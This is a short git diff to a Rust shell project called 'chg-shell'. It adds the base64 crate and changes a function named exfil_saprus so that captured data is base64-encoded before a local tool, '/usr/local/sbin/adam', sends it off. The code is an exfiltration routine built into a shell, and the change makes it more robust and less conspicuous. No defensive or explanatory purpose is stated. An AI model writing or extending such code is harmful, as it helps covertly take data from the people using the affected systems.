diff --git a/Cargo.lock b/Cargo.lock index de13f40..beb1b4b 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -17,6 +17,12 @@ version = "1.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26" +[[package]] +name = "base64" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" + [[package]] name = "bitflags" version = "1.3.2" @@ -45,6 +51,7 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" name = "chg-shell" version = "0.1.0" dependencies = [ + "base64", "inquire", "libc", "regex", diff --git a/Cargo.toml b/Cargo.toml index eeb70e7..1b575ff 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -4,6 +4,7 @@ version = "0.1.0" edition = "2021" [dependencies] +base64 = "0.22.1" inquire = "0.7.5" libc = "0.2.171" regex = "1.11.1" diff --git a/main.rs b/main.rs index 4509aa9..ca2c7cd 100644 --- a/main.rs +++ b/main.rs @@ -10,6 +10,7 @@ use std::io::{Error, ErrorKind}; use std::process::{Command, Output}; use std::ffi::CString; use libc::{c_char, execvp, fork, waitpid, WIFEXITED, WEXITSTATUS}; +use base64; static AUTHOR_STRING: &str = r#" Author: Spencer @@ -22,7 +23,7 @@ fn cd(path: &str) -> Result<(), std::io::Error> { } fn exfil_saprus(data: &str) { - match execute_command(format!("/usr/local/sbin/adam -r '{}'", data).as_str()) { + match execute_command(format!("/usr/local/sbin/adam -r '{}'", base64::encode(data)).as_str()) { _ => (), } }